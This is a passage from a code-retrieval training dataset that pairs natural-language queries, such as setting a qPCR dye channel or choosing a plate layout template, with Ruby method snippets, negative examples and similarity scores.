tictl(*args)\n\tTermInfo.control(*args)\n end", "def lang=(_arg0); end", "def lang=(_arg0); end", "def open_option\n call_scene(Options) do |scene|\n if scene.modified_options.include?(:language)\n @running = false\n Graphics.transition\n end\n end\n end", "def keppler\n end", "def alternatives; end" ]
[ "0.5554205", "0.5531507", "0.5474292", "0.5474292", "0.5474292", "0.5474292", "0.54408497", "0.5364562", "0.5364562", "0.5364562", "0.5311518", "0.5298796", "0.52980787", "0.52980787", "0.52980787", "0.52484435", "0.5234043", "0.5228399", "0.5219629", "0.5218267", "0.5193766", "0.51274025", "0.5122366", "0.5115542", "0.5093104", "0.5091952", "0.50778455", "0.50676644", "0.50435287", "0.5037729", "0.5027151", "0.50211406", "0.50171286", "0.50042987", "0.49970824", "0.49916586", "0.4980531", "0.49680096", "0.496785", "0.49610224", "0.49565095", "0.49540392", "0.49267998", "0.49267998", "0.49267998", "0.49156132", "0.49140158", "0.4912001", "0.48811936", "0.48739293", "0.48739293", "0.48707622", "0.48700207", "0.48668972", "0.4863707", "0.4863707", "0.4863707", "0.4850753", "0.48498842", "0.48330572", "0.48256412", "0.48237088", "0.48226324", "0.48193395", "0.48135483", "0.48040587", "0.48029646", "0.4800966", "0.47982728", "0.4798223", "0.479768", "0.47949502", "0.47888035", "0.47858468", "0.47853446", "0.47853446", "0.47810385", "0.4778302", "0.47762948", "0.47716928", "0.47714627", "0.47714403", "0.4771397", "0.47689056", "0.4766527", "0.4766041", "0.4766041", "0.4766041", "0.4766041", "0.47654197", "0.47654197", "0.47654197", "0.47654197", "0.47644737", "0.47612116", "0.47612116", "0.47590506", "0.4756075", "0.4748806" ]
0.52057725
21
Instructions for setting the dye channel on a qPCR thermocycler
def set_dye(composition: nil, dye_name: nil) dye_name = composition.dye.try(:input_name) || dye_name "Choose <b>#{dye_name}</b> as the dye" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def eth_gpu_rst; eth_ctrl_bit(5); end", "def set_dye(composition: nil, dye_name: nil)\n dye_name = composition.dye.try(:input_name) || dye_name\n \"Click on the <b>PrimePCR</b> and choose <b>#{dye_name}</b> as the dye\"\n end", "def eth_gpu_en; eth_ctrl_bit(1); end", "def set_channel(bone, channel, theta)\n channel_data_for(bone).set_channel(channel, theta)\n end", "def cset( q, r, color: nil, border: false, data: nil )\n hset( even_q_to_axial_hex( q, r, color: color, border: border, data: data ) )\n end", "def eth_gpu_rst=(val); eth_ctrl_bit(5, val); end", "def cset( q, r, color: nil, border: false, data: nil )\n @hexes[ [ q, r ] ] = AxialHex.new( q, r, color: color, border: border, data: data )\n end", "def pos_channel=(num)\n self[:poschan_longsettling_quicksample] &= ~0x1F\n self[:poschan_longsettling_quicksample] |= (num & 0x1F)\n end", "def eth_gpu_en=(val); eth_ctrl_bit(1, val); end", "def set_channel(channel)\n puts \"Setting channel to #{channel}\" if $verbose\n c='MC'+(('000'+channel.to_s)[-3..-1])+';'\n puts c if $verbose\n ret=send_cmd(c,'MC;',c,0.5,1.5,3)\n if(ret)\n return(ret.gsub(/^MC/,'').gsub(/;$/,'').to_i)\n else\n return(nil)\n end\nend", "def ec2(amp = 0.2, tonics = [:e2], num = 4, synth = :fm)\n num.times do\n synth synth, note: chord(tonics.choose, [:m11, :m9, :major, :major7].choose),\n attack: [1, 0.75, 1.25, 1.5, 2].choose, cutoff: 80,\n amp: amp, pan: rrand(-0.2,0.2)\n sleep 1\n end\nend", "def test_dcr_b\n @memory.set(0x0000, [0x05])\n reg = @cpu.reg\n reg.b = 0x12\n @cpu.run_step\n assert_equal(0x0001, reg.pc)\n assert_equal(0x0000, reg.sp)\n assert_equal(0x00, reg.a)\n assert_equal(0b00000010, reg.flag.value)\n assert_equal(0x11, reg.b)\n assert_equal(0x00, reg.c)\n assert_equal(0x0000, reg.de)\n assert_equal(0x0000, reg.hl)\n\n reg.pc = 0x0000\n reg.b = 0x01\n @cpu.run_step\n assert_equal(0x00, reg.b)\n # TODO check other flags\n assert_equal(1, reg.flag.z)\n\n reg.pc = 0x0000\n reg.b = 0x00\n @cpu.run_step\n # TODO check other flags\n assert_equal(0xFF, reg.b)\n assert_equal(0, reg.flag.z)\n end", "def gpioinit yabm\n yabm.gpiosetdat(1 << 6)\nend", "def gpioinit yabm\n yabm.gpiosetdir(1 << 3)\n\n yabm.gpiosetdat(1 << 3)\nend", "def setup\n super\n @background_colour = @colour\n @foreground_colour = Palette.white\n @axis = :y\n end", "def channel_did_gain_property(stem, channel, property, argument, bestower)\n end", "def gpioinit yabm\n yabm.gpiosetdat(1 << 3 | 1 << 4)\nend", "def set_colour(r,g,b)\n\t\t@colour_r = LoopedArray.new [*r].map {|i| i % 256}\n\t\t@colour_g = LoopedArray.new [*g].map {|i| i % 256}\n\t\t@colour_b = LoopedArray.new [*b].map {|i| i % 256}\n\tend", "def set_chord\n @chord = Chord.find(params[:id])\n end", "def setup_control!(chan=nil)\n chan ||= Rubinius::Channel.new\n @control_channel = chan\n return chan\n end", "def set_register\n # set config registers\n config_reg = 0xF5 # Register address for config settings\n t_sb = 0b000 # Standby time = 0.5ms (0b000)\n filter = 0b100 # filter coefficient = 16\n spi3w_en = 0 # Disable SPI\n config_val = (t_sb << 5) | (filter << 2) | spi3w_en\n write(config_reg, config_val)\n\n # set ctrl_meas registers\n tp_reg = 0xF4 # Register address for temperature/pressure settings\n osrs_t = 0b010 # Temperature oversampling = x2 (0b010)\n osrs_p = 0b101 # Pressure oversampling = x16 (0b101)\n mode = 0b11 # Normal mode (0b11)\n tp_val = (osrs_t << 5) | (osrs_p << 2) | mode\n write(tp_reg, tp_val)\n\n # set ctrl_hum registers \n hum_reg = 0xF2 # Register address for humidity settings \n osrs_h = 0b001 # Humidity oversampling = x1 (0b001)\n hum_val = osrs_h\n write(hum_reg, hum_val)\n end", "def set_cvs(amps: 75, psi: 50, t: 20)\n Hardware.instance.set_amps amps\n Hardware.instance.set_psi psi\n Hardware.instance.set_t t\n end", "def auxiliary_colour\n @cr[0xe] >> 4\n end", "def radio_set_channel _channel\n send_cmd(\"radio_set_channel #{_channel}\")\n end", "def setup\n size(640, 360)\n color_mode(RGB, 255, 255, 255, 100)\n @w = width + 16\n @xspacing = 8\n @maxwaves = 5\n @theta = 0.0\n @amplitudes = Array.new(@maxwaves) { random(10, 30) }\n @dx = Array.new(@maxwaves) do |i|\n period = random(100, 300)\n (TWO_PI / period) * @xspacing\n end\n\n @yvalues = Array.new(@w/@xspacing)\nend", "def connect_thruster_control (port)\n @port = port\n @port.connect_to do |sample, _|\n @window.thruster_1.update(sample.elements[0].raw, \"Thruster 1\")\n @window.thruster_2.update(sample.elements[1].raw, \"Thruster 2\")\n @window.thruster_3.update(sample.elements[2].raw, \"Thruster 3\")\n @window.thruster_4.update(sample.elements[3].raw, \"Thruster 4\")\n end \n \n end", "def ChenThongDiep (pixel)\n\t\t\t\n\t\t\tred = pixel.red.to_bin(8).chars #pixel.red kieu integer -> nhi phan -> array char\n\t\t\tred[7] = @thongdiep[@dem] # chen 1 bit cua thong diep vao bit cuoi cua pixel.red\n\t\t\tpixel.red = red.join.to_i(2) # array char -> string -> integer\n\t\t\t@dem += 1 # dem \n\t\t\t\n\t\t\tif @dem == @thongdiep.length # kiem tra da chen het thong diep chua\n\t\t\t\treturn \n\t\t\tend\n\t\t\tgreen = pixel.green.to_bin(8).chars\n\t\t\tgreen[7] = @thongdiep[@dem]\n\t\t\tpixel.green = green.join.to_i(2)\n\t\t\t@dem += 1\n\t\t\t\n\t\t\tif @dem == @thongdiep.length\n\t\t\t\treturn \n\t\t\tend\n\t\t\tblue = pixel.blue.to_bin(8).chars\n\t\t\tblue[7] = @thongdiep[@dem]\n\t\t\tpixel.blue = blue.join.to_i(2)\n\t\t\t@dem += 1\n\t\t\tif @dem == @thongdiep.length\n\t\t\t\treturn \n\t\t\tend\n\n\t\t\n\tend", "def set_encloser\n <<-CODE\n t1 = stack_pop();\n cpu_set_encloser_path(state, c, t1);\n CODE\n end", "def set_CRPID(value)\n set_input(\"CRPID\", value)\n end", "def set_CRPID(value)\n set_input(\"CRPID\", value)\n end", "def turn_on\n 'If the thermocycler is off, toggle the power switch in the back of the' \\\n ' instrument'\n end", "def setup\n\t\tbackground(0)\n\t\tzahlen = (2*3*5*7)-1# <-- change integer here. # what is biggest array?\n\t\t@table = color_it(rsa_group(zahlen))\n\t\tsquare = [1000] * 2 ; size(*square)\n\t\tframe_rate 1 ; colorMode(HSB,360,100,100)\n\tend", "def mov_macros_2b(amp=0.1)\n use_bpm 70\n with_fx :level, amp: amp do\n in_thread do\n 2.times do |i|\n sample :bd_haus, rate: 1 - 0.25 * i, amp: 5\n sample :bd_klub, rate: 1 - 0.25 * i, amp: 5\n n = [2, 4, 8].choose\n pan = rrand(-1, 0)\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample :elec_soft_kick, pan: pan, rate: 1, amp: 1\n end\n sleep 0.25\n\n sleep 0.125\n # play chord(:f2, :major), amp: 3 * i, release: 0.25\n sample :bd_haus, rate: 1 - 0.25 * i, amp: 5\n sleep 0.125\n\n n = [3, 4, 8].choose\n with_fx :echo, phase: 0.5 / n, mix: 0.1 do\n sample :elec_soft_kick, rate: 1, amp: 2\n end\n sleep 0.25\n\n sample :bd_haus, rate: 1 - 0.25 * i, amp: 2\n n = [4, 4, 4, 8].choose\n pan = 0\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample :elec_soft_kick, pan: pan, rate: 1, amp: 2\n # sample :elec_triangle\n end\n sleep 0.25\n end\n end\n end\nend", "def set_power(port, state)\n\t\tstate = state ? 1 : 0\n\t\t\n\t\tdo_send(\"\\eP#{port}*#{state}DCPP\")\n\t\t# Response: DcppP_port*portstatus 0 == off, 1== on\n\tend", "def camSetDive _obj, _args\n \"_obj camSetDive _args;\" \n end", "def set_rand()\n rdm = Random.new()\n push_hp(rdm.rand(0.2..10.0))\n push_mp(rdm.rand(0.2..10.0))\n push_sp(rdm.rand(0.2..10.0))\n push_str(rdm.rand(0.2..5.0))\n push_vit(rdm.rand(0.2..5.0))\n push_int(rdm.rand(0.2..5.0))\n push_mnd(rdm.rand(0.2..5.0))\n push_dex(rdm.rand(0.2..5.0))\n push_agi(rdm.rand(0.2..5.0))\n push_luk(rdm.rand(0.2..5.0))\n end", "def enable!\n `tc qdisc add dev lo root netem delay #{delay}ms`\n end", "def chord; end", "def tv_set_channel _channel\n send_cmd(\"tv_set_channel #{_channel}\")\n end", "def whiten\n self.blend_type = 0\n self.color.set(255, 255, 255, 128)\n self.opacity = 255\n @_whiten_duration = 16\n @_appear_duration = 0\n @_escape_duration = 0\n @_collapse_duration = 0\n end", "def setConstantDryandDewPointTemperatureHumidityAndPressure(dbt = \"0.0\",dpt=\"-1.1\",hum=\"92\",press=\"98500\")\n self.scan() if @filearray == nil\n setcolumntovalue(Dry_Bulb_Temperature,dbt)\n setcolumntovalue(Dew_Point_Temperature,dpt)\n setcolumntovalue(Relative_Humidity,hum)\n setcolumntovalue(Atmospheric_Station_Pressure,press)\n return self\n end", "def activate_hearth\n send(RESET ^ 0x80)\n rescue\n end", "def set_band(band)\n puts \"Setting band to #{band}\" if $verbose\n b='BN'+(('00'+band.to_s)[-2..-1])+';'\n puts b if $verbose\n ret=send_cmd(b,'BN;',b,0.5,1.5,3)\n if(ret)\n return(ret.gsub(/^BN/,'').gsub(/;$/,'').to_i)\n else\n return(nil)\n end\nend", "def setcolorrep(*)\n super\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def set_ChannelID(value)\n set_input(\"ChannelID\", value)\n end", "def light_pen_y\n @cr[7]\n end", "def set_channel_id\n @channel_id = SecureRandom.alphanumeric(8)\n end", "def guitar=(axe)\n\t\t@guitar = axe\n\tend", "def EVIOCSFF; _IOC(_IOC_WRITE, 'E', 0x80, _size_of(ff_effect));end", "def set_GreenElectricty(value)\n set_input(\"GreenElectricty\", value)\n end", "def post_initialize(args)\n @tape_color = args[:tape_color]\n end", "def post_initialize(args)\n @tape_color = args[:tape_color]\n end", "def post_initialize(args)\n @tape_color = args[:tape_color]\n end", "def set_attr band, musician #, instrument\n @band = band\n @musician = musician\n # @instrument = instrument\n end", "def program_change(channel, preset)\n message(PC | channel, preset)\n end", "def channels; end", "def set_piano_chord\n @piano_chord = PianoChord.find(params[:id])\n end", "def bury\n @channel_control.bury\n end", "def random= rnd \n @random = rnd\n @codon.random = rnd\n end", "def random= rnd \n @random = rnd\n @codon.random = rnd\n end", "def main\n sei\n set 0xdc0d, 0x7f #shortcut for lda 0x7f; sta 0xdc0d\n set 0xdd0d #without second argument its simply a sta 0xdd0d\n lda 0xdc0d\n lda 0xdd0d\n set 0xd01a, 1\n set 0xd012, 20\n set 0xd011, 0x1b\n lda 0x35\n sta 0x01, :zeropage => true #TODO: this is not so pretty\n irq #shortcut for: address :irq, :irq\n cli\n label :self\n jmp :self\n \n label :irq\n border 0\n lda 22\n label :raster_fix\n cmp 0xd012\n bne :raster_fix\n nop 27\n [:darkgrey, :red, :grey, :pink, :lightgrey, :white, :lightgrey, :pink, :grey, :red, :darkgrey, :black].each do |color|\n border color\n nop 60\n end\n border 0\n set 0xd019, 0xff\n rti\n end", "def set_next_carb(cbhd)\n\t# Check if the next carbohydrate to eat is valid\n\t#check_carbo(cbhd)\n\t\n\t$cur_carb = cbhd\nend", "def neg_channel=(num)\n self[:negchan] = num\n end", "def pdx=(pdx)\n super(Icd.short_code_of(pdx))\n end", "def channel=(chan)\n notes.each{|n| n.channel = chan}\n end", "def mov_macros_2s(amp=0.1)\n use_bpm 70\n with_fx :level, amp: amp do\n in_thread do\n 2.times do |i|\n s = :elec_tick\n\n n = [2, 4, 8].choose\n pan = rrand(-1, 0)\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rrand(1,4), amp: 1\n end\n\n pan = rrand(-1,1)\n rate = 2\n amp = 0.5\n n = [2, 4].choose\n with_fx :echo, phase: 0.5 / 8, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rate, amp: amp\n end\n\n sleep 0.125\n sleep 0.125\n\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rate, amp: amp\n end\n sleep 0.125\n sleep 0.125\n\n use_synth :cnoise\n play :e5, release: 0.125, amp: 1\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rate, amp: amp\n end\n sleep 0.125\n sleep 0.125\n\n with_fx :echo, phase: 0.5 / 8, mix: rrand(0.8,1) do\n sample s, pan: -pan, rate: rate, amp: 1\n end\n\n n = [4, 4, 4, 8].choose\n pan = 0\n with_fx :echo, phase: 0.5 / n, mix: rrand(0.8,1) do\n sample :drum_cymbal_closed, pan: -pan, rate: rrand(1,4), amp: 1\n end\n sleep 0.125\n sleep 0.125\n end\n end\n end\nend", "def radio_step_channel _n\n send_cmd(\"radio_step_channel #{_n}\")\n end", "def cntrl_cmnd; det.image(:id, 'imgCtrlCommands'); end", "def doge_control_signal\r\n end", "def set_dbm(dbm, synth)\n rflevel = DBM_TO_RFLEVEL[dbm]\n raise \"unsupported dbm #{dbm}\" unless rflevel\n Valon.set_field(registers(synth), :rfout_pwr, rflevel)\n end", "def noise?\n @cr[0xd][7] == 1\n end", "def set_pocket\r\n # - - - - - - - - - - - - - - - - - -\r\n @pocket_flag = true\r\n return self\r\n end", "def setup\n size 640, 360\n color_mode HSB, 360\n no_stroke \n @bar_width = 20\n @saturation = Array.new( width/@bar_width, 0 ) \nend", "def bright; end", "def bright; end", "def cntrl_settg; det.image(:id, 'imgCtrlSettings'); end", "def set_fan\n fan = CeilingFan.new(\"Living Room\")\n fan_medium = CeilingFanMediumCommand.new(fan)\n fan_high = CeilingFanHighCommand.new(fan)\n fan_off = CeilingFanOffCommand.new(fan)\n @rc.set_command(1, fan_medium, fan_off)\n @rc.set_command(2, fan_high, fan_off)\n end", "def execute_CMC\n\t\t@flags.set_bit_at(CARRY_FLAG, @flags[CARRY_FLAG] ^ 1)\n\tend", "def cherty_hottish(define, henchboy, systematically_youthen)\n sprag_squamaceous(demilitarize)\n osiridean_seedily(coopering_frenzelite, columellia)\n end", "def set_hecho\n @hecho = Hecho.find(params[:id])\n end", "def initializeDriverBoard \n\twriteRegister8(DRV2605_REG_MODE, 0x00) # out of standby\n\n\twriteRegister8(DRV2605_REG_RTPIN, 0x00) # no real-time-playback\n\n\twriteRegister8(DRV2605_REG_WAVESEQ1, 1) # strong click\n\twriteRegister8(DRV2605_REG_WAVESEQ2, 0)\n\n\twriteRegister8(DRV2605_REG_OVERDRIVE, 0) # no overdrive\n\n\twriteRegister8(DRV2605_REG_SUSTAINPOS, 0)\n\twriteRegister8(DRV2605_REG_SUSTAINNEG, 0)\n\twriteRegister8(DRV2605_REG_BREAK, 0)\n\twriteRegister8(DRV2605_REG_AUDIOMAX, 0x64)\n\n\t# ERM open loop\n\n\t# turn off N_ERM_LRA\n\twriteRegister8(DRV2605_REG_FEEDBACK, readRegister8(DRV2605_REG_FEEDBACK) & 0x7F)\n\t# turn on ERM_OPEN_LOOP\n\twriteRegister8(DRV2605_REG_CONTROL3, readRegister8(DRV2605_REG_CONTROL3) | 0x20)\n\t\n\twriteRegister8(DRV2605_REG_MODE, DRV2605_MODE_INTTRIG);\n\t\nend", "def random= rnd \n @random = rnd\n @codon.random = rnd\n end", "def set_carrierknowledghe\n @carrierknowledghe = Carrierknowledghe.find(params[:id])\n end", "def set_dis_therapueticgroup\n @dis_therapueticgroup = DisTherapueticgroup.find(params[:id])\n end", "def setDrawColorViaRGB(r, g, b)\n while r > 255\n r -= 255\n end\n while g > 255\n g -= 255\n end\n while b > 255\n b -= 255\n end\n puts(\"draw color set to RGB values: (\" + r.to_s + \", \" + g.to_s + \", \" + b.to_s + \")\")\n @drawColor = FXRGB(r, g, b)\n end", "def set_color(bool)\n b = bool ? true : false\n deb \"Setting color mode to: #{yellow bool} --> #{white b.to_s}\"\n b = false if bool.to_s.match( /(off|false)/ )\n deb \"Setting color mode to: #{yellow bool} --> #{white b.to_s}\"\n if block_given?\n puts \"TODO!!! scolara qui\"\n yield\n puts \"TODO ricolora qui\"\n end\n $colors_active = bool\n end", "def EVIOCGLED(len); _IOC(_IOC_READ, 'E', 0x19, len);end", "def set_thred\n @thred = Thred.find(params[:id])\n end", "def _context_set_brush!(brush_name)\n $gimp_iface.gimp_context_set_brush(brush_name)\nend", "def tv_step_channel _channel\n send_cmd(\"tv_step_channel #{_channel}\")\n end", "def agent(channel); end", "def initialize devref #:nodoc:\n @device = devref\n \n @hardware_pwm_enabled = :unknown\n @hardware_pwm_prescale = :unknown\n @hardware_pwm = [0, 0]\n @software_pwm_enabled = :unknown\n @software_pwm = [0, 0, 0]\n \n # shut everything down, trying to setup littlewire in consistent initial state in case previous programs\n # messed with it's state\n self.software_pwm_enabled = false\n self.hardware_pwm_enabled = false\n self.pin_mode(pin1: :input, pin2: :input, pin3: :input, pin4: :input)\n self.digital_write(pin1: :gnd, pin2: :gnd, pin3: :gnd, pin4: :gnd)\n end", "def rcc(c_cintura,c_cadera)\n\t\t@rcc = (c_cintura/c_cadera)\t\n\tend", "def set_christmascard\n @christmascard = Christmascard.find(params[:id])\n end", "def metal; end" ]
[ "0.5202646", "0.5113817", "0.50442976", "0.50344515", "0.4999838", "0.49956214", "0.4969963", "0.49381548", "0.4934172", "0.49185178", "0.48618808", "0.47010097", "0.46952066", "0.46912545", "0.4668492", "0.4653934", "0.46184403", "0.4609799", "0.46014768", "0.45806268", "0.4565301", "0.45522267", "0.45505902", "0.4548336", "0.45480162", "0.45347184", "0.45271754", "0.45257685", "0.45156142", "0.45156142", "0.45096233", "0.45069697", "0.4486307", "0.44736776", "0.4468645", "0.44552785", "0.4442928", "0.44422305", "0.44392028", "0.44267488", "0.44230053", "0.44229513", "0.44122794", "0.44091928", "0.4399065", "0.4399065", "0.4399065", "0.4399065", "0.4399065", "0.4399065", "0.43850163", "0.43740207", "0.436574", "0.4365489", "0.43522137", "0.43470716", "0.43470716", "0.43430093", "0.43373922", "0.43270332", "0.43227205", "0.43133175", "0.4312098", "0.42990497", "0.42990497", "0.42891145", "0.42853284", "0.4280024", "0.42707825", "0.42704183", "0.4264638", "0.4263565", "0.42635307", "0.4262566", "0.42584556", "0.42554525", "0.4255355", "0.42484993", "0.42412433", "0.42412433", "0.42330346", "0.4225644", "0.42175025", "0.4214111", "0.42091295", "0.42060122", "0.42051476", "0.4204915", "0.42007646", "0.419972", "0.41990438", "0.4194127", "0.41936094", "0.4193127", "0.41886285", "0.41876757", "0.41859758", "0.41836697", "0.4183667", "0.41782266" ]
0.44556937
35
Instructions for selecting the plate layout template in the software
def select_layout_template(program:) file = layout_template_file(program: program) "Choose the layout template <b>#{file}</b>" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rit_plate!(layout_name, instance_name, plate_name)\n Rit::Plate.get(layout_name, instance_name, plate_name, session[:preview_time])\n end", "def select_program_template(program:)\n file = program_template_file(program: program)\n \"Choose the program template <b>#{file}</b>\"\n end", "def select_program_template(program:)\n file = program_template_file(program: program)\n \"Choose the program template <b>#{file}</b>\"\n end", "def provision_plates(operations:, object_type:)\n operations.each do |op|\n collection = make_new_plate(object_type, label_plate: true)\n op.output(PLATE).set(collection: collection)\n\n set_parts(\n collection: collection,\n group_size: op.temporary[:options][:group_size],\n method: op.temporary[:options][:layout_method],\n sample: op.output(PLATE).sample\n )\n\n inspect op.output(PLATE).collection.matrix if debug\n end\n end", "def rit_plate!(layout_name, instance_name, plate_name)\n RitClient::Plate.get(layout_name, instance_name, plate_name, nil) # session[:preview_time]\n end", "def determine_layout\r\n #\"earthlingtwo/earthlingtwo\"\r\n \"#{template_name}/#{template_name}\"\r\n end", "def determine_template(options); end", "def set_template\n end", "def make_new_plate(c_type, label_plate: true)\n working_plate = Collection.new_collection(c_type)\n if label_plate\n show do\n title 'Get and Label new Plate'\n note get_and_label_new_item(working_plate) if label_plate\n end\n end\n working_plate\n end", "def setup_plate_layout_image\n image_path(image_name: params[:setup_plate_layout_image])\n end", "def get_and_label_new_plate(plate)\n show do\n title 'Get and Label Working Plate'\n note \"Get a <b>#{plate.object_type.name}</b> and\n label it ID: <b>#{plate.id}</b>\"\n end\n end", "def stencile(sender)\n @template = Template.new(sender)\n @template_selected = true\n end", "def create_template\n self.template = \"template 14231\"\n end", "def parafilm_plates\n show do \n title \"Label and Parafilm\"\n \n plates_to_parafilm = operations.reject { |op| op.temporary[:delete] || !op.temporary[:valid_params?] }.map { |op| op.input(\"Plate\").item.id }\n note \"Perform the steps with the following plates: #{plates_to_parafilm}\"\n check \"Label the plates with their item ID numbers on the side, and parafilm each one.\"\n check \"Labelling the plates on the side makes it easier to retrieve them from the fridge.\"\n end\n end", "def make_new_plate(c_type, label_plate: true)\n working_plate = Collection.new_collection(c_type)\n get_and_label_new_plate(working_plate) if label_plate\n working_plate\n end", "def display_plate(outname, ops, stamp_columns=false)\n plate = Array.new(8) { Array.new(12, \"-\") }\n if stamp_columns\n ops.each do |op|\n col = op.output(outname).column\n background = BACKGROUND_COLORS[col]\n content = \"#{(\"A\".ord.to_i).chr}#{col+1}\"\n plate[0][col] = {content: content, style: {background: background} }\n (1..stamp_columns - 1).each do |row|\n plate[row][col] = { content: \" \", style: { background: background } }\n end\n end\n else\n ops.each do |op|\n row = op.output(outname).row\n col = op.output(outname).column\n plate[row][col] = {content: \"#{(row + \"A\".ord.to_i).chr}#{col+1}\", style: {background: BACKGROUND_COLORS[0] } }\n end\n end\n\n return plate\n end", "def start_make_antibiotic_plate op\n #getting the media sample required to plate this yeast strain\n antibiotic_hash = { \"nat\" => \"clonNAT\", \"kan\" => \"G418\", \"hyg\" => \"Hygro\", \"ble\" => \"Bleo\", \"5fo\" => \"5-FOA\" }\n full_marker = op.input(\"Genetic Material\").sample.properties[\"Yeast Marker\"]\n marker = full_marker.downcase[0,3]\n marker = \"kan\" if marker == \"g41\"\n media = Sample.find_by_name(\"YPAD + #{antibiotic_hash[marker]}\") \n \n #create new operation and set to pending\n ot = OperationType.find_by_name(\"Make Antibiotic Plate\")\n new_op = ot.operations.create(\n status: \"pending\",\n user_id: op.user_id\n )\n op.plan.plan_associations.create operation_id: new_op.id\n \n #add correct media sample as the output of the new op\n aft = ot.field_types.find { |ft| ft.name == \"Plate\" }.allowable_field_types[0]\n new_op.set_property \"Plate\", media, \"output\", false, aft\n \n #associate the new op with the item that will be the input of Yeast antibiotic plating\n #This way Antibiotic Plating can retrieve the correct plate for the yeast strain\n op.output(\"Transformation\").item.associate :spin_off, new_op.id\n\n op.plan.reload\n new_op.reload\n end", "def create_microtiter_plates(operations:)\n operations.each do |operation|\n method = operation.temporary[:options][:layout_method]\n group_size = operation.temporary[:options][:group_size]\n program_name = operation.temporary[:options][:program_name]\n\n output_collection = operation.output(PLATE).collection\n output_collection.associate(PRIMER_GROUP_SIZE_KEY, group_size)\n output_collection.associate(COMPOSITION_NAME_KEY, program_name)\n output_collection.associate(PRIMER_METHOD_KEY, method)\n\n microtiter_plate = MicrotiterPlateFactory.build(\n collection: output_collection,\n group_size: group_size,\n method: method\n )\n operation.temporary[:microtiter_plate] = microtiter_plate\n end\n end", "def select_template\n templatelist = []\n templatelist\n end", "def determine_layout\n 'akinu'\n end", "def modelo_guia_sindical_empresa_template(doc, _boleto, template_path)\n doc.define_template(:template, template_path, x: '0.3 cm', y: '0 cm')\n doc.use_template :template\n\n doc.define_tags do\n tag :grande, size: 13\n tag :media, size: 11\n tag :pequena, size: 7\n end\n end", "def modelo_guia_sindical_empresa_template(doc, _boleto, template_path)\n doc.define_template(:template, template_path, x: '0.3 cm', y: '0 cm')\n doc.use_template :template\n\n doc.define_tags do\n tag :grande, size: 13\n tag :media, size: 11\n tag :pequena, size: 7\n end\n end", "def generate_standalone_topology()\n name = 'pwcsta'\n # Define provider agnostic layout\n @config[:layout] = { :topology => @options.topology,\n :api_fqdn => 'api.opscode.aws',\n :default_orgname => default_orgname,\n :manage_fqdn => 'manage.opscode.aws',\n :analytics_fqdn => 'analytics.opscode.aws',\n :standalones => {\n \"#{name}-standalone\" => {\n :hostname => \"#{name}-standalone.centos.aws\",\n :ebs_optimized => true,\n :instance_type => 'm3.xlarge'\n }\n }\n }\n end", "def FindsLayoutsForTemplate(input, options={})\n Benoit::Utils::FindsLayoutsForTemplate.new(input, options).lookup_layouts\nend", "def virtual_guest_template\n template = {\n \"startCpus\" => @cores.to_i,\n \"maxMemory\" => @memory.to_i * 1024, # we let the user specify memory in GB, but the API expects maxMemory in MB.\n \"hostname\" => @hostname,\n \"domain\" => @domain,\n\n # Note : for the values below, we want to use the constants \"true\" and \"false\" not nil\n # the nil value (while false to Ruby) will not translate to XML properly\n \"localDiskFlag\" => !!@use_local_disk,\n \"hourlyBillingFlag\" => !!@hourly\n }\n\n template['dedicatedAccountHostOnlyFlag'] = true if @dedicated_host_only\n template['privateNetworkOnlyFlag'] = true if @private_network_only\n\n template['datacenter'] = {\"name\" => @datacenter.name} if @datacenter\n template['userData'] = [{'value' => @user_metadata}] if @user_metadata\n template['networkComponents'] = [{'maxSpeed'=> @max_port_speed}] if @max_port_speed\n template['postInstallScriptUri'] = @provision_script_URI.to_s if @provision_script_URI\n template['postInstallScriptUri'] = @provision_script_uri.to_s if @provision_script_uri\n template['primaryNetworkComponent'] = { \"networkVlan\" => { \"id\" => @public_vlan_id.to_i } } if @public_vlan_id\n template['primaryBackendNetworkComponent'] = { \"networkVlan\" => {\"id\" => @private_vlan_id.to_i } } if @private_vlan_id\n template['sshKeys'] = @ssh_key_ids.collect { |ssh_key_id| {'id'=> ssh_key_id.to_i } } if @ssh_key_ids\n template['supplementalCreateObjectOptions'] = @supplementalCreateObjectOptions if @supplementalCreateObjectOptions\n\n if @image_template\n template['blockDeviceTemplateGroup'] = {\"globalIdentifier\" => @image_template.global_id}\n elsif @os_reference_code\n template['operatingSystemReferenceCode'] = @os_reference_code\n end\n\n if @disks && !@disks.empty?\n template['blockDevices'] = []\n\n # According to the documentation for +createObject+,\n # device number 1 is reserved for the SWAP disk of the computing instance.\n # So we assign device 0 and then assign the rest starting at index 2.\n @disks.each_with_index do |disk, index|\n device_id = (index >= 1) ? index + 1 : index\n template['blockDevices'].push({\"device\" => \"#{device_id}\", \"diskImage\" => {\"capacity\" => disk}})\n end\n end\n\n template\n end", "def template\n if @client ==\"ORBOGRAPH\" || @client == \"ORB TEST FACILITY\"\n IO.read(File.dirname(__FILE__) + '/templates/' + organization_name.downcase.gsub(' ','_') + '_'+@batch_type+'_template.xml.erb')\n else\n IO.read(File.dirname(__FILE__) + '/templates/' + organization_name.downcase.gsub(' ','_') + '_template.xml.erb')\n end\n end", "def generate_full_topology(options)\n @config[:layout] = { :topology => @options.topology,\n :api_fqdn => 'api.opscode.piab',\n :default_orgname => default_orgname,\n :manage_fqdn => 'manage.opscode.piab',\n :analytics_fqdn => 'analytics.opscode.piab',\n :backends => {},\n :frontends => {}\n }\n\n options[:num_backends].times do |n|\n backend = generate_backend(n)\n backend[:bootstrap] = true if n == 0\n @config[:layout][:backends][\"backend#{n}\"] = backend\n end\n options[:num_frontends].times do |n|\n @config[:layout][:frontends][\"frontend#{n}\"] = generate_frontend(n)\n end\n\n if options[:num_backends] > 1\n 